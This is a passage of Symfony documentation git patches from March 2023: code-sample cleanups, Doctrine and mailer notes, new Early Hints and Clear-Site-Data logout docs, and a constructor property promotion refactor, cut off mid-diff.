 components/runtime.rst          | 17 -----------------
 components/uid.rst              | 10 ++--------
 components/var_exporter.rst     |  1 -
 page_creation.rst               |  1 -
 quick_tour/flex_recipes.rst     |  2 --
 quick_tour/the_architecture.rst |  4 ----
 quick_tour/the_big_picture.rst  |  2 --
 8 files changed, 3 insertions(+), 36 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 1139dcddf94..a240982650a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.41.0
+                uses: docker://oskarstark/doctor-rst:1.41.3
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/components/runtime.rst b/components/runtime.rst
index c0cf100f809..1e191333c66 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -30,7 +30,6 @@ The Runtime component abstracts most bootstrapping logic as so-called
 For instance, the Runtime component allows Symfony's ``public/index.php``
 to look like this::
 
-    <?php
     // public/index.php
     use App\Kernel;
 
@@ -120,7 +119,6 @@ Resolvable Arguments
 
 The closure returned from the front-controller may have zero or more arguments::
 
-    <?php
     // public/index.php
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
@@ -167,7 +165,6 @@ Resolvable Applications
 The application returned by the closure below is a Symfony Kernel. However,
 a number of different applications are supported::
 
-    <?php
     // public/index.php
     use App\Kernel;
 
@@ -187,7 +184,6 @@ The ``SymfonyRuntime`` can handle these applications:
     The Response will be printed by
     :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`::
 
-        <?php
         // public/index.php
         use Symfony\Component\HttpFoundation\Response;
 
@@ -201,8 +197,6 @@ The ``SymfonyRuntime`` can handle these applications:
     To write single command applications. This will use the
     :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
-        <?php
-
         use Symfony\Component\Console\Command\Command;
         use Symfony\Component\Console\Input\InputInterface;
         use Symfony\Component\Console\Output\OutputInterface;
@@ -221,8 +215,6 @@ The ``SymfonyRuntime`` can handle these applications:
     Useful with console applications with more than one command. This will use the
     :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
-        <?php
-
         use Symfony\Component\Console\Application;
         use Symfony\Component\Console\Command\Command;
         use Symfony\Component\Console\Input\InputInterface;
@@ -250,7 +242,6 @@ applications:
     The ``RunnerInterface`` is a way to use a custom application with the
     generic Runtime::
 
-        <?php
         // public/index.php
         use Symfony\Component\Runtime\RunnerInterface;
 
@@ -271,9 +262,7 @@ applications:
     Your "application" can also be a ``callable``. The first callable will return
     the "application" and the second callable is the "application" itself::
 
-        <?php
         // public/index.php
-
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         return function () {
@@ -290,8 +279,6 @@ applications:
     If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
     everything is fine::
 
-        <?php
-
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         return function () {
@@ -304,8 +291,6 @@ Using Options
 Some behavior of the Runtimes can be modified through runtime options. They
 can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
 
-    <?php
-
     $_SERVER['APP_RUNTIME_OPTIONS'] = [
         'project_dir' => '/var/task',
     ];
@@ -496,8 +481,6 @@ always using this ``ReactPHPRunner``::
 
 The end user will now be able to create front controller like::
 
-    <?php
-
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
     return function (array $context) {
diff --git a/components/uid.rst b/components/uid.rst
index caac3034429..96203589d3d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -128,17 +128,15 @@ configure the behavior of the factory using configuration files::
     .. code-block:: php
 
         // config/packages/uid.php
-        <?php
-
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return static function (ContainerConfigurator $containerConfigurator): void {
-            $services = $configurator->services()
+            $services = $containerConfigurator->services()
                 ->defaults()
                 ->autowire()
                 ->autoconfigure();
 
-            $configurator->extension('framework', [
+            $containerConfigurator->extension('framework', [
                 'uid' => [
                     'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
@@ -152,8 +150,6 @@ configure the behavior of the factory using configuration files::
 Then, you can inject the factory in your services and use it to generate UUIDs based
 on the configuration you defined::
 
-    <?php
-
     namespace App\Service;
 
     use Symfony\Component\Uid\Factory\UuidFactory;
@@ -367,8 +363,6 @@ following methods to create a ``Ulid`` object from it::
 
 Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to generate them::
 
-    <?php
-
     namespace App\Service;
 
     use Symfony\Component\Uid\Factory\UlidFactory;
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 810cc271a2b..ea52252b3cc 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -75,7 +75,6 @@ following class hierarchy::
 When exporting the ``ConcreteClass`` data with VarExporter, the generated PHP
 file looks like this::
 
-    <?php
     return \Symfony\Component\VarExporter\Internal\Hydrator::hydrate(
         $o = [
             clone (\Symfony\Component\VarExporter\Internal\Registry::$prototypes['Symfony\\Component\\VarExporter\\Tests\\ConcreteClass'] ?? \Symfony\Component\VarExporter\Internal\Registry::p('Symfony\\Component\\VarExporter\\Tests\\ConcreteClass')),
diff --git a/page_creation.rst b/page_creation.rst
index 32586b802c1..7cef4a9781c 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -44,7 +44,6 @@ Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (
 random) number and prints it. To do that, create a "Controller" class and a
 "controller" method inside of it::
 
-    <?php
     // src/Controller/LuckyController.php
     namespace App\Controller;
 
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7135c6b3ecd..a9b101016ea 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -154,7 +154,6 @@ Rich API Support
 
 Are you building an API? You can already return JSON from any controller::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -191,7 +190,6 @@ But like usual, we can immediately start using the new library. Want to create a
 rich API for a ``product`` table? Create a ``Product`` entity and give it the
 ``@ApiResource()`` annotation::
 
-    <?php
     // src/Entity/Product.php
     namespace App\Entity;
 
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 5899a73bc66..909dac32193 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -21,7 +21,6 @@ Want a logging system? No problem:
 This installs and configures (via a recipe) the powerful `Monolog`_ library. To
 use the logger in a controller, add a new argument type-hinted with ``LoggerInterface``::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -87,7 +86,6 @@ To keep your code organized, you can even create your own services! Suppose you
 want to generate a random greeting (e.g. "Hello", "Yo", etc). Instead of putting
 this code directly in your controller, create a new class::
 
-    <?php
     // src/GreetingGenerator.php
     namespace App;
 
@@ -104,7 +102,6 @@ this code directly in your controller, create a new class::
 
 Great! You can use this immediately in your controller::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -168,7 +165,6 @@ by creating an event subscriber or a security voter for complex authorization
 rules. Let's add a new filter to Twig called ``greet``. How? Create a class
 that extends ``AbstractExtension``::
 
-    <?php
     // src/Twig/GreetExtension.php
     namespace App\Twig;
 
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index b6ad8eaafdd..7905a6fcbe0 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -80,7 +80,6 @@ doesn't exist yet, so let's create it!
 In ``src/Controller``, create a new ``DefaultController`` class and an ``index``
 method inside::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -176,7 +175,6 @@ This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
 in ``DefaultController``::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 

From 2d2cda46cff04de5562b40164f67303c972d8f8a Mon Sep 17 00:00:00 2001
From: linuxprocess <40915844+linuxprocess@users.noreply.github.com>
Date: Thu, 9 Mar 2023 18:01:53 +0100
Subject: [PATCH 4410/7107] Update reverse_engineering.rst

Precision for making it clear that "make:entity" does not permit to reverse-engineer a database to an entity
---
 doctrine/reverse_engineering.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index a80d6fa91c0..f6df2a87a9e 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -9,8 +9,11 @@ How to Generate Entities from an Existing Database
     The ``doctrine:mapping:import`` command used to generate Doctrine entities
     from existing databases was deprecated by Doctrine in 2019 and it's no
     longer recommended to use it.
+    
+    As of march,2023 there is no replacement.
 
     Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
     to quickly generate the Doctrine entities of your application.
+    But it does not permit generating entities from existing database.
 
 .. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From 6192540081d9d9b756866378e469946ebb49eb67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Mar 2023 15:44:28 +0100
Subject: [PATCH 4411/7107] Minor reword

---
 doctrine/reverse_engineering.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index f6df2a87a9e..278eda204ed 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -7,13 +7,12 @@ How to Generate Entities from an Existing Database
 .. caution::
 
     The ``doctrine:mapping:import`` command used to generate Doctrine entities
-    from existing databases was deprecated by Doctrine in 2019 and it's no
-    longer recommended to use it.
-    
-    As of march,2023 there is no replacement.
+    from existing databases was deprecated by Doctrine in 2019 and there's no
+    replacement for it.
 
     Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
-    to quickly generate the Doctrine entities of your application.
-    But it does not permit generating entities from existing database.
+    to help you generate the code of your Doctrine entities. This command
+    requires manual supervision because it doesn't generate entities from
+    existing databases.
 
 .. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From 15a408f9639469dde19dce6e932204da3c83439d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 13 Mar 2023 22:15:41 +0100
Subject: [PATCH 4412/7107] [HttpFoundation] Add support for the 103 status
 code

---
 controller.rst | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)

diff --git a/controller.rst b/controller.rst
index 98b59702537..b88ca4dcd63 100644
--- a/controller.rst
+++ b/controller.rst
@@ -538,6 +538,57 @@ The ``file()`` helper provides some arguments to configure its behavior::
         return $this->file('invoice_3241.pdf', 'my_invoice.pdf', ResponseHeaderBag::DISPOSITION_INLINE);
     }
 
+Sending Early Hints
+~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The Early Hints helper of the ``AbstractController`` was introduced
+    in Symfony 6.3.
+
+Early hints allow to tell user's browser to start downloading some assets
+even before sending the response content. Thanks to this, the browser is able
+to prefetch resources that will be needed once the full response is finally sent.
+These resources are commonly Javascript or CSS files, but it can be any type of
+resource.
+
+.. note::
+
+    In order to work, the SAPI you're using must support this feature, like
+    `FrankenPHP`_.
+
+You can send early hints from your controller action thanks to the
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::sendEarlyHints`
+method::
+
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\WebLink\Link;
+
+    class HomepageController extends AbstractController
+    {
+        #[Route("/", name: "homepage")]
+        public function index(): Response
+        {
+            $response = $this->sendEarlyHints([
+                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/script.js'))->withAttribute('as', 'script'),
+            ]);
+
+            // Do something slow...
+
+            return $this->render('homepage/index.html.twig', response: $response);
+        }
+    }
+
+The ``sendEarlyHints`` method will send a first informational response to the
+web browser with a 103 status code. If it supports it, the browser will start
+to download ``style.css`` and ``script.js`` while you're generating the response
+full content.
+
 Final Thoughts
 --------------
 
@@ -577,3 +628,4 @@ Learn more about Controllers
 
 .. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`unvalidated redirects security vulnerability`: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
+.. _`FrankenPHP`: https://frankenphp.dev

From 1ab4d04b20438f01bb9db2ba300a9a70068468fa Mon Sep 17 00:00:00 2001
From: Maximilian Beckers <beckers.maximilian@gmail.com>
Date: Tue, 14 Mar 2023 08:10:44 +0100
Subject: [PATCH 4413/7107] [Security] Add logout configuration for
 Clear-Site-Data header

---
 reference/configuration/security.rst | 66 ++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f0f28a00180..73c303aed79 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -428,6 +428,72 @@ user logs out::
             ],
         ]);
 
+clear_site_data
+~~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+The Clear-Site-Data header clears browsing data (cookies, storage, cache) associated with the requesting website.
+It allows web developers to have more control over the data stored by a client browser for their origins.
+Allowed values are ``cache``, ``cookies``, ``storage`` and ``executionContexts``.
+And it's possible to use ``*`` as a wildcard for all directives::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        clear_site_data:
+                            - cookies
+                            - storage
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout>
+                        <clear-site-data>cookies</clear-site-data>
+                        <clear-site-data>storage</clear-site-data>
+                    </logout>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'logout' => [
+                        'clear-site-data' => [
+                            'cookies',
+                            'storage',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 invalidate_session
 ~~~~~~~~~~~~~~~~~~
 

From 82606fe6c47519f59c5d674c11b332d606c881c3 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 21 Feb 2023 17:29:50 +0100
Subject: [PATCH 4414/7107] [Mailer] add more info for debugging

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index cd1eb8e0e68..2fde6ceb077 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -663,6 +663,12 @@ provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
 
+.. note::
+
+    You will need to replace :class:`Symfony\\Component\\Mailer\\MailerInterface`
+    with :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface` to have
+    the message object returned.
+
 .. note::
 
     Some mailer providers change the ``Message-Id`` when sending the email. The

From 2b8bbfe05fcf3b529c948aaf0a1db827441d3148 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 11:17:16 +0100
Subject: [PATCH 4415/7107] Tweak

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2fde6ceb077..68bcaf297bc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -665,9 +665,9 @@ transports, which is useful to debug errors.
 
 .. note::
 
-    You will need to replace :class:`Symfony\\Component\\Mailer\\MailerInterface`
-    with :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface` to have
-    the message object returned.
+    If your code used :class:`Symfony\\Component\\Mailer\\MailerInterface`, you
+    need to replace it by :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
+    to have the ``SentMessage`` object returned.
 
 .. note::
 

From 05d01942e41c9f13fd4364dcbdc72758b59b9452 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 15:48:31 +0100
Subject: [PATCH 4416/7107] Tweaks

---
 controller.rst | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/controller.rst b/controller.rst
index b88ca4dcd63..613af3dda0d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -545,16 +545,18 @@ Sending Early Hints
 
     The Early Hints helper of the ``AbstractController`` was introduced
     in Symfony 6.3.
+.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
+.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 
-Early hints allow to tell user's browser to start downloading some assets
-even before sending the response content. Thanks to this, the browser is able
-to prefetch resources that will be needed once the full response is finally sent.
-These resources are commonly Javascript or CSS files, but it can be any type of
-resource.
+`Early hints`_ tell the browser to start downloading some assets even before the
+application sends the response content. This improves perceived performance
+because the browser can prefetch resources that will be needed once the full
+response is finally sent. These resources are commonly Javascript or CSS files,
+but they can be any type of resource.
 
 .. note::
 
-    In order to work, the SAPI you're using must support this feature, like
+    In order to work, the `SAPI`_ you're using must support this feature, like
     `FrankenPHP`_.
 
 You can send early hints from your controller action thanks to the
@@ -584,10 +586,14 @@ method::
         }
     }
 
-The ``sendEarlyHints`` method will send a first informational response to the
-web browser with a 103 status code. If it supports it, the browser will start
-to download ``style.css`` and ``script.js`` while you're generating the response
-full content.
+Technically, Early Hints are an informational HTTP response with the status code
+``103``. The ``sendEarlyHints()`` method creates a ``Response`` object with that
+status code and sends its headers immediately.
+
+This way, browsers can start downloading the assets immediately; like the
+``style.css`` and ``script.js`` files in the above example). The
+``sendEarlyHints()`` method also returns the ``Response`` object, which you
+must use to create the full response sent from the controller action.
 
 Final Thoughts
 --------------

From d1da6ba5e9ae14c43c26722f448b6dd4bfbc1382 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 15:50:16 +0100
Subject: [PATCH 4417/7107] Fix the reference links

---
 controller.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 613af3dda0d..9c3e47f6d1d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -545,8 +545,6 @@ Sending Early Hints
 
     The Early Hints helper of the ``AbstractController`` was introduced
     in Symfony 6.3.
-.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
-.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 
 `Early hints`_ tell the browser to start downloading some assets even before the
 application sends the response content. This improves perceived performance
@@ -634,4 +632,6 @@ Learn more about Controllers
 
 .. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`unvalidated redirects security vulnerability`: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
+.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
+.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev

From d173ef3baa4e1e0dc4e520c5268fbe53a955295d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 15 Mar 2023 10:46:04 +0100
Subject: [PATCH 4418/7107] mention french inflector and interface in String
 doc

---
 components/string.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 57628644fdf..696b692cd13 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -649,6 +649,12 @@ class to convert English words from/to singular/plural with confidence::
 The value returned by both methods is always an array because sometimes it's not
 possible to determine a unique singular/plural form for the given word.
 
+.. note::
+
+    Symfony also provide a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
+    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` to implements
+    if you need to use your own inflector.
+
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point

From 5d4931424e7038320f08250d53e99c139cc842fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 16:08:11 +0100
Subject: [PATCH 4419/7107] Tweak

---
 components/string.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 696b692cd13..51516bc908d 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -651,9 +651,9 @@ possible to determine a unique singular/plural form for the given word.
 
 .. note::
 
-    Symfony also provide a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
-    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` to implements
-    if you need to use your own inflector.
+    Symfony also provides a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
+    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` if
+    you need to implement your own inflector.
 
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode

From d887b5aa049df04b009badcf5c8f141b36d2e28e Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Tue, 14 Mar 2023 16:17:22 +0100
Subject: [PATCH 4420/7107] Update create_custom_field_type.rst

Adding return type for setNormalizer callback function
---
 form/create_custom_field_type.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2998a763445..97971516de3 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -271,7 +271,8 @@ to define, validate and process their values::
 
             // optionally you can transform the given values for the options to
             // simplify the further processing of those options
-            $resolver->setNormalizer('allowed_states', static function (Options $options, $states) {
+            $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array 
+            {
                 if (null === $states) {
                     return $states;
                 }

From 3bb31cf8f32505ef859b05b5901e1a4a82b44d26 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 11:24:53 +0100
Subject: [PATCH 4421/7107] [DependencyInjection] Use constructor property
 promotion (CPP)

---
 cache.rst                                   |  8 ++--
 components/console/logger.rst               |  8 ++--
 components/dependency_injection.rst         | 16 +++-----
 components/event_dispatcher.rst             |  8 ++--
 components/http_foundation.rst              |  8 ++--
 components/lock.rst                         | 11 ++---
 components/messenger.rst                    | 22 ++++------
 components/phpunit_bridge.rst               |  8 ++--
 components/property_info.rst                |  7 ++--
 components/runtime.rst                      | 11 ++---
 components/serializer.rst                   | 29 +++++--------
 components/string.rst                       |  8 ++--
 components/uid.rst                          | 10 +++--
 configuration.rst                           |  8 ++--
 console.rst                                 |  9 ++---
 console/commands_as_services.rst            |  9 ++---
 contributing/code/standards.rst             |  8 ++--
 controller/service.rst                      |  8 ++--
 controller/upload_file.rst                  | 11 ++---
 create_framework/event_dispatcher.rst       | 28 +++++--------
 create_framework/separation_of_concerns.rst | 14 +++----
 create_framework/unit_testing.rst           | 14 +++----
 event_dispatcher.rst                        | 27 +++++--------
 form/create_custom_field_type.rst           |  8 ++--
 form/data_mappers.rst                       | 14 +++----
 form/data_transformers.rst                  | 23 +++++------
 form/dynamic_form_modification.rst          | 16 +++-----
 form/use_empty_data.rst                     |  8 ++--
 form/validation_group_service_resolver.rst  | 20 ++++-----
 frontend/custom_version_strategy.rst        | 23 +++--------
 http_client.rst                             | 32 ++++++---------
 logging/channels_handlers.rst               |  8 ++--
 messenger.rst                               | 24 +++++------
 messenger/custom-transport.rst              | 10 ++---
 messenger/dispatch_after_current_bus.rst    | 22 ++++------
 messenger/handler_results.rst               | 12 +++---
 notifier.rst                                | 16 +++-----
 performance.rst                             |  8 ++--
 profiler.rst                                |  9 +++--
 quick_tour/the_architecture.rst             | 10 +++--
 routing.rst                                 | 10 +++--
 security.rst                                | 30 ++++++--------
 security/access_denied_handler.rst          |  8 ++--
 security/custom_authenticator.rst           |  8 ++--
 security/impersonating_user.rst             | 16 +++-----
 security/voters.rst                         |  8 ++--
 serializer/custom_normalizer.rst            | 11 ++---
 service_container.rst                       | 45 +++++++++------------
 service_container/autowiring.rst            | 32 +++++++--------
 service_container/configurators.rst         |  8 ++--
 service_container/injection_types.rst       |  8 ++--
 service_container/parent_services.rst       |  7 ++--
 service_container/request.rst               |  8 ++--
 service_container/service_closures.rst      | 10 ++---
 service_container/service_decoration.rst    | 40 +++++++-----------
 service_container/tags.rst                  |  8 ++--
 session.rst                                 | 25 +++++-------
 templates.rst                               |  8 ++--
 testing/database.rst                        |  8 ++--
 translation.rst                             |  8 ++--
 validation/custom_constraint.rst            |  9 +++--
 workflow.rst                                | 20 ++++-----
 workflow/workflow-and-state-machine.rst     | 16 +++-----
 63 files changed, 356 insertions(+), 548 deletions(-)

diff --git a/cache.rst b/cache.rst
index 3e4ef354712..a82bc64cd04 100644
--- a/cache.rst
+++ b/cache.rst
@@ -552,12 +552,10 @@ the same key could be invalidated with one function call::
 
     class SomeClass
     {
-        private $myCachePool;
-
         // using autowiring to inject the cache pool
-        public function __construct(TagAwareCacheInterface $myCachePool)
-        {
-            $this->myCachePool = $myCachePool;
+        public function __construct(
+            private TagAwareCacheInterface $myCachePool,
+        ) {
         }
 
         public function someMethod()
diff --git a/components/console/logger.rst b/components/console/logger.rst
index 25fce56d7d9..2e5319c8d6b 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -19,11 +19,9 @@ PSR-3 compliant logger::
 
     class MyDependency
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         public function doStuff()
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 1e72d67d589..0ece9640048 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -58,11 +58,9 @@ so this is passed into the constructor::
 
     class Mailer
     {
-        private $transport;
-
-        public function __construct($transport)
-        {
-            $this->transport = $transport;
+        public function __construct(
+            private $transport,
+        ) {
         }
 
         // ...
@@ -99,11 +97,9 @@ like this::
 
     class NewsletterManager
     {
-        private $mailer;
-
-        public function __construct(\Mailer $mailer)
-        {
-            $this->mailer = $mailer;
+        public function __construct(
+            private \Mailer $mailer,
+        ) {
         }
 
         // ...
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8561a7e08b4..bf6dea56b7e 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -296,11 +296,9 @@ order. Start by creating this custom event class and documenting it::
     {
         public const NAME = 'order.placed';
 
-        protected $order;
-
-        public function __construct(Order $order)
-        {
-            $this->order = $order;
+        public function __construct(
+            protected Order $order,
+        ) {
         }
 
         public function getOrder(): Order
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index f0d02f2da06..3e7a45d0207 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -790,11 +790,9 @@ methods. You can inject this as a service anywhere in your application::
 
     class UserApiNormalizer
     {
-        private UrlHelper $urlHelper;
-
-        public function __construct(UrlHelper $urlHelper)
-        {
-            $this->urlHelper = $urlHelper;
+        public function __construct(
+            private UrlHelper $urlHelper,
+        ) {
         }
 
         public function normalize($user)
diff --git a/components/lock.rst b/components/lock.rst
index 82b8d8d97f8..56d98c2b54c 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -87,13 +87,10 @@ key of the lock::
 
     class RefreshTaxonomy
     {
-        private object $article;
-        private Key $key;
-
-        public function __construct(object $article, Key $key)
-        {
-            $this->article = $article;
-            $this->key = $key;
+        public function __construct(
+            private object $article,
+            private Key $key,
+        ) {
         }
 
         public function getArticle(): object
diff --git a/components/messenger.rst b/components/messenger.rst
index 21b8cabac3e..5e5d0d66877 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -234,13 +234,10 @@ you can create your own message sender::
 
     class ImportantActionToEmailSender implements SenderInterface
     {
-        private $mailer;
-        private $toEmail;
-
-        public function __construct(MailerInterface $mailer, string $toEmail)
-        {
-            $this->mailer = $mailer;
-            $this->toEmail = $toEmail;
+        public function __construct(
+            private MailerInterface $mailer,
+            private string $toEmail,
+        ) {
         }
 
         public function send(Envelope $envelope): Envelope
@@ -286,13 +283,10 @@ do is to write your own CSV receiver::
 
     class NewOrdersFromCsvFileReceiver implements ReceiverInterface
     {
-        private $serializer;
-        private $filePath;
-
-        public function __construct(SerializerInterface $serializer, string $filePath)
-        {
